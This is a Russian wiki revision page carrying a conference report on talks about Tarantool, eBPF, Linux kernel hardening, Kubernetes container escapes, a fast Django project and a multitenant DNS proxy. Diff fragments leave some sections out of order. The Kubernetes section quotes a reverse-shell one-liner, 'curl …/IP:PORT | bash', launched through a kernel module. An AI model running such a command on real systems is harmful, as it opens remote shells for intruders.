13 521
правка
Изменения
м
== От batch к streaming в Яндексе == Егор Хайруллин (Яндекс) — Как перейти от batch к streaming на примере рекламной контент-системыУтренние доклады пропустил. Спал. Звиняйте, дядьку.
== MVCC Oracle DBA открыл для себя [https://ebpf.io eBPF], точнее, [https://github.com/iovisor/bcc bcc], на самом eBPF покодить ему так и не довелось. Да и ничего особо важного — никакого, например, бага в тарантуле ==ядре… или в оракле… или в дисках… — через eBPF он не нашёл, просто написал экспортилку данных из bcc в Telegraf и нарисовал дашбордик. Ну дашбордик и дашбордик. https://github.com/unPeter/bcc2telegraf — вот это поделие.
Нет описания правки
== Тарантул для самых маленьких ==
'''Константин Владимир Перепелица (Tarantool) — Архитектура надёжной In-Memory-СУБД на примере Tarantool'''
Очень общий доклад про Tarantool, просто обзор архитектуры. Для тех, кто не знает, сначала это был заменитель memcached (кэш в памяти), а потом туда накрутили сохранение снимка данных на диске, репликацию, индексы, транзакции, Lua, хранение данных на диске, а индексов в памяти, MVCC и даже SQL… Короче, теперь это целая «платформа in-memory вычислений с гибкой схемой данных для эффективного создания высоконагруженных приложений, включающая в себя базу данных и сервер приложений на Lua». Из всего набора неизменной осталась только однопоточность и то, что что-то всегда держится в памяти — либо вообще все данные, либо хотя бы все индексы.
Есть репликация, синхронная и асинхронная, в том числе master-master, работающая через «векторные часы», то есть версия ключа — это несколько версий, по одной на каждую реплику. Если ключ меняется на обеих репликах, будут версии (2, 1) и (1, 2) и будет конфликт, который самим тарантулом никак не разрешается и разрешать его должны вы :-).
В остальном остановиться почти не на чем, доклад реально очень базовый. Интереснее было бы послушать про какие-то более хитрые вещи, возможно, про какие-то хитрые случаи практических применений. Про MVCC потом ещё был отдельный доклад на следующий день, но тоже, честно говоря, не очень интересныйскучноватый.
А, ну и мемы про тарантул смотрите тут — https://t.me/notcrashing.
От себя добавлю, что та самая «балансировка нагрузки» и вообще распределение объектов — это один из наиболее базовых аспектов устройства любой системы хранения и именно он во многом определяет дальнейший вектор развития архитектуры системы. Вообще все стороджи можно поделить на классы… класса, наверное, на 3… в зависимости от применённого подхода к распределению данных. Так что на самом деле рассмотренный в докладе вопрос гораздо значительнее, чем может показаться на первый взгляд :-).
P.S: Вопрос Вадиму: А у вас есть автоматика, которая определяет, отвалившая реплика ушла совсем или ещё вернётся? Коллега мне на ухо: Есть, её зовут Женя…
== Жизнь перф инженера в Pg Pro ==
** Большие объекты нарезаются на части по 64 МБ, сначала пишутся части, в конце — индекс, ссылающийся на эти части.
** После заполнения бакет закрывается и в него больше не пишут, а только удаляют и потом переупаковывают. Процесс-переупаковщик бакетов называется bucketcompactor.
* Распределение объектов — перед каждой записью идём в statusservice и спрашиваем у него, в какой бакет писать. ** При этом бакет на запись блокируется. При удалении аналогично, тоже блокировка. После записи разблокируем и обновляем версию бакета в statusservice. Версией служит просто последнее смещение в бакете.** При отвале клиента — это мои фантазии, в докладе не было, но по-другому вроде никак — должен следовать отвал блокировки по таймауту, перевод бакета в readonly и его последующая синхронизация, что полностью эквивалентно Hadoop с его Lease Recovery.
* Репликация — клиентская, запись — кворумная.
** То есть, клиент (прокся) напрямую соединяется с несколькими серверами и пишет свои данные на каждый, и считает запись успешной при записи на 2 из 3 серверов. При неуспехе — повторная попытка в другой бакет.
= День 2 =
== Graphviz от безопасника ядра ==
'''Александр Попов (Positive Technologies) — Безопасность ядра Linux: в теории и на практике''' Сказ о том, как крутой безопасник открыл для себя Graphviz и использует его как Wiki :-D. Рассказывал о двух вещах: [https://github.com/a13xp0p0v/linux-kernel-defence-map linux-kernel-defence-map] и [https://github.com/a13xp0p0v/kconfig-hardened-check kconfig-hardened-check]. Первое — «вики» в формате Graphviz, где он собирает обзорную информацию о методах самозащиты ядра Linux от дыр. Интересно и если вы не разбираетесь в безопасности ядра, и если разбираетесь, так как он, когда сам делает доработки, тоже на это же ориентируется. Второе — скрипт для проверки опций безопасности, проверяет настройки сборки, конфигурацию ядра, опции командной строки ядра. Там же в Readme есть ссылки на рекомендации по настройкам ужесточения безопасности ядра. Которые, конечно, не обязательно включать все, так как они не бесплатны. В общем, вот это в основном и было содержательной частью, на самих дырах он сильно не останавливался, только чуть-чуть на базовых вещах. А, да, из юмора: прозвучал вопрос: а как у вас с поддержкой процессора Эльбрус? — Он ответил: ну, типа, она, по-моему, ещё не включена в мейнлайн… — и тут ведущий добавил: ну да, сейчас, похоже, скорее поддержка Арарата хорошо идёт.
== Примитивные хаки k8s ==
'''Лев Хакимов — Хакнуть K8s: разбор пэйлоадов и способов защиты''' Нормальный доклад, но «разбор пейлоадов» — это ну очень громко сказано. Начал аж с того, что контейнер — это не ВМ 🤡. А потом всё как-то свёл к тому, что уязвимый контейнер — это или privileged, или с какими-нибудь --cap-add (плюс-минус то же самое), или на худой конец hostNetwork/hostIPC/hostPID true. В итоге можно либо смонтировать хостовую ФС, либо позапускать контейнеры через сокет докер-демона, либо выполнить reverse shell. Ну, например, если есть CAP_SYS_MODULE — то вставить модуль ядра, запускающий <tt><nowiki>curl https://reverse-shell.sh/IP:PORT | bash</nowiki></tt>. Мда, exploit as a service, который мы заслужили… Далее сказал, что K8s RBAC 🤡 не защищает от эксплойтов privileged докера 🤡. Для защиты есть Admission Controller, Pod Security Policy, Pod Security Standards (с 1.23), SecurityContext и Network Policy. Также в тему ResourceQuotas & LimitRange. Искать дыры посоветовал [https://github.com/carlospolop/PEASS-ng PEASS-ng] или [https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS linPEAS], или [https://github.com/cdk-team/CDK CDK]. Для аудита — [https://github.com/aquasecurity/kube-bench CIS Kubernetes Benchmark]. Всё.
== DBA ловит тормоза диска через eBPF ==
'''Пётр Бобров (QIWI) — Мониторинг черных ящиков и котов в мешке через eBPF'''
«Если вендор не идёт навстречу, УК конечно нарушать не предлагаю, но уверен, что на рынке есть люди, позитивно настроенные на анализ» (c). Пересказывать, что такое eBPF, я особо не буду. Вкратце — через него можно вставлять кусочки своего кода в ядро в целях отладки/мониторинга/ещё каких-то. Например, можно влезть в любую функцию и напечатать её параметры. Правда, нельзя напечатать локальные переменные, по крайней мере, я сходу не осилил и нашёл свой баг другим путём. В остальном — думаю, сами прочитаете, если интересно. ИМХО ничего, что нельзя нагуглить, докладчик не рассказал :). == Матрасы в тарантуле == '''Александр Ляпунов (Tarantool) — Как работает MVCC в In-Memory-СУБД''' Рассказ про MATRAS. Начал с аналогий — мол, человек разумный, а комп нет, если жена отправит вас в магазин и скажет «купи пакет молока, если будут яйца, купи десяток», то все нестандартные ситуации, там, −1 пакет молока на полке… вы, вероятно, обработаете сами. ''/Ну не знаю — если 2 программиста потянутся за 1 пакетом молока… хз, могут и зависнуть, жёнам придётся идти спасать от дедлока, возможно, кого-то придётся пристрелить…/ — прим.вред.'' Ну а MVCC нужен, чтобы не пускать всех в магазин по одному. Вместо этого создаём каждому покупателю свой снимок магазина, а кассир потом разрешает конфликты ''/и упираемся в кассира/ — прим.вред.'' В общем, в тарантуле MVCC реализован через матрас — Memory Address TRanslating Allocator(S) и через ещё один специальный аллокатор для read view. И ещё через сохранение истории изменений, то есть каждая строка содержит флаг «есть история или нет», если нет — просто читаем, если есть — проходим по истории. Уровень изоляции — serializable, но не snapshot, снапшот создаётся отложенно. Подробнее можно почитать тут: https://habr.com/ru/company/vk/blog/525484/, https://habr.com/ru/company/vk/blog/540842/
== Экодиктант за 2 месяца ==
'''Станислав Жуковский, Василий Шалимов (Старботс РФ) — Экодиктант 2021: highload-проект с нуля за 2 месяца''' А вот этот доклад сделал мой второй день конференции. И хоть докладчик и говорил «вёб» (через ё) и «рпц» вместо rps (ЭР ПЭ ЭС), очень приятно было послушать, что где-то ещё есть люди, которые могут сесть и БЫСТРО и ПРОСТО, без 200 микросервисов, что-то запилить. А то в последние годы уже как-то начал привыкать к тому, что разработка ПО в компаниях обычно как идеальный газ — занимает все ресурсы, которые на неё выделишь, и в итоге сидит человек 100 и все чем-то заняты, а баги исправляются по полгода. А фичи разрабатываются по 2 года. К ним пришёл заказчик и сказал — мы тут писали ТЗ 8 месяцев, а вы нам это закодьте за 2. Причём заказчик был очень начитанный, ТЗ было очень подробное, там была прорисована архитектура, 100 микросервисов и всё такое прочее. Но, к счастью, заказчику ответили — да, это всё замечательно, но не за 2 месяца. ''/Микросервисы — г@вно!!! Парни, вы молодцы, что на это не пошли! Тупой монолит в 99.9% случаев гораздо лучше!/ — прим.вред.'' В итоге просто писали на Django, причём даже с jQuery. ''/ну да, тоже уже устаревшее г@но, но если умеешь — пиши на том, на чём умеешь/ — прим.вред.'' И только самая нагруженная часть с самим «диктантом» была на React. Кратко таймлайн разработки, который почему-то начинается с 11 недель — не совсем 2 месяцев до диктанта, ну да не суть:* −11 неделя: макеты по дизайну* −10 неделя: выбрали сервер (uWSGI), балансер (HAProxy), сверстали шаблоны django, и сразу выставили в веб (для теста, видимо)* −8 недель: развёртывание в яойблаке и бенчмаркинг я-танком, анализ 500-ых ошибок* −7 недель: припилили React, аутентификацию через JWT, пробенчили эти самые JWT (выпуск/обновление токенов)* −6 недель: переносили старые учетки из php laravel приложения, пришлось припиливать устаревший 128-битный bcrypt к django* −5 недель: отказались от сервисов рассылок mailchimp, aws — дорого и вообще не дали бы объёмы — в частности, aws сказал «15000$ в год + 3 месяца рассылайте 10%, потом, может, разрешим полный объём». Подняли свой почтовик — postfix с DKIM и всем прочим. Сразу сделали 2 домена и были очень рады, что 2, так как один то и дело улетал в блокировку (всякие DNSBL), они вступали в диалог с админами блоклистов, а тем временем юзали второй домен. В итоге рассылали 70 писем в секунду и потеряли < 1%. Но, сказали, лучше бы было 5 доменов. Метрики доставки отслеживали в Zabbix.* −4 недели: настраивали защиту от DDoS и CDN в облаке мегафона. Мегафон помогал. Хватило 1 уровня защиты.* −3 недели: выкладка контента вовсю. Словили прикол — приходил один и тот же юзер, жаловался «у меня не хватает лимита, не загружаются картинки» — в итоге лимит сняли… и ему хватило. Он загрузил логотип размером 1 ГБ.* −2 недели: финальная упаковка контейнеров в кубер, настройка автоскейлера.*: Тут Шалимов Василий (автор «вёба») опять выдал небольшой перл — мол, «реакт ничего не ел [в кубере], а вот джанга!..» — логично, чо. Реакт в браузере у юзера выполняется. Там и ест.* −1 неделя. Юзеры пришли регаться. 1 млн регистраций в час. После чего всё, ДИКТАНТ. Рады, что не поймали ''того, что обычно ловят'' в панамку! Говорит, у меня жена и 2 детей и на всякие онлайн дневники они часто ругались, а тут нормально все прошло — но пока делал, я им не говорил, что делаю. На всякий случай. :-) Было только 2 падения — в первом всё повисло из-за LIKE-запроса, во втором — упала варя (vmware) и, соответственно, кубер у мегафон-клауда. Полежали где-то час. Ну и потом неделя еще на обработку, а еще были оффлайн роли, отчёты, анкеты, какие-то подарки… Ответы на вопросы:* Почему не django fast api? — Не было времени.* Помогла ли django админка? — Да, но дефолтная туповата, на 3 миллиона юзеров, например, не рассчитана, повисает.* Мешал ли django orm? — Нет, ибо сложных запросов не было. Хватило. Но держали в уме, что может быть узким местом и присматривали.* Повторили бы опыт? — Нервный ржач…* Какие блэклисты почты? — Сходу не помнит, стандартные, было 13 названий. Это была отдельная задача для контент-менеджера.* Сколько был rps? — Не помнит, но нагрузочное тестирование делали почти на 1 млн. Регистраций был 1 млн в час.* Какого размера была команда? — Их было 7, а техподдержки мегафон-клауда, которые ими занимались — 21. Мегафон не знал, что их 7, когда узнал, был в шоке. '''Резюме:''' Используйте подходы MVP, делайте запас по железу. Кто-то (вроде меня) скажет — ну да, конечно, а как ещё? — НО! Порадовало именно то, что об этом рассказали! Так ведь сейчас не модно! Модно намудрить 10 слоёв, 100 микросервисов, обмазаться фреймворками, облачными сервисами, серверлессом… Так что — свернуть доклад в трубочку и разослать всем, кто делает «долго, дорого и сложно». Пусть учатся.
== DNS-aaS через SDN ==
'''Георгий Меликов (VK Cloud) — Полная изоляция клиентов в облаке для сервисов без изоляции на примере DNS''' Докладчик — наш друг из чатиков [https://t.me/sds_ru @sds_ru], [https://t.me/ceph_ru @ceph_ru] и [https://t.me/ru_zfs @ru_zfs], участник разработки ZFS. Вкратце итог: мультитенантный облачный DNS-as-a-Service через DNS-прокси, добавляющую суффикс в запрос, работающую через SDN. В общем, стояла задача — сделать изолированный облачный DNS-as-a-Service в облаке — то есть, чтобы один клиент не мог случайно увидеть DNS-ответы другого клиента — И ПРИ ЭТОМ не поднимать отдельные DNS-серверы на каждого, а обойтись одним, ибо это банально дешевле и заодно позволяет предоставлять нормальный rps тем, кто много обращается к этому DNS. Рассмотрели варианты:* OpenStack Designate — нет мультитенантности* bind views — оказался мультиплексором к N экземплярам bind и вообще он «экспериментальный» с багами* PowerDNS — нет мультитенантности и не хотят, говорят, если вам надо — поднимайте N экземпляров. Есть Lua, но на ней сделать требуемое не вышло, зато стали контрибьюторами в документацию — это было самое быстрое одобрение PR в жизни: примерно 10 секунд :-)* dnsmasq — маленький и опять нет мультитенантности* CoreDNS — и тоже нет тенантов* pdnsd — и тоже нет В итоге родили МОЩЩЩНЫЙ [https://www.youtube.com/watch?v=wnbTrVM8hXg&t=585s (c)] костыль. Решили добавлять в запросы суффиксы, например, domain -> domain.tenant1, и потом, соответственно, откусывать их в ответах. Для этого можно было написать свой DNS-сервер, но решили, что полноценный честный RFC-совместимый DNS-сервер писать довольно сложно, если допиливать готовый — доработки не примут, а поддерживать форк не хочется… и написали проксю, которая переписывает запросы (A, PTR) и перенаправляет их реальному серверу. А чтобы перехватывать и перенаправлять запросы, у них уже был под рукой SDN. То ли раньше был OpenStack Neutron, то ли и до сих пор ещё остался, но по факту сделали на SDN собственного разлива, который называется Sprut и поддерживает Network Functions. На этом и сделали проксю. 2 человеко-квартала и готово. Прототип на Python по RPS на 1 поток получился медленнее CoreDNS всего в 2 раза, то есть, даже питона оказалось достаточно для нужной производительности. Ну ок :-). «Сетевики пишут DNS».
[[Категория:КонференцииОтчёты о конференциях]]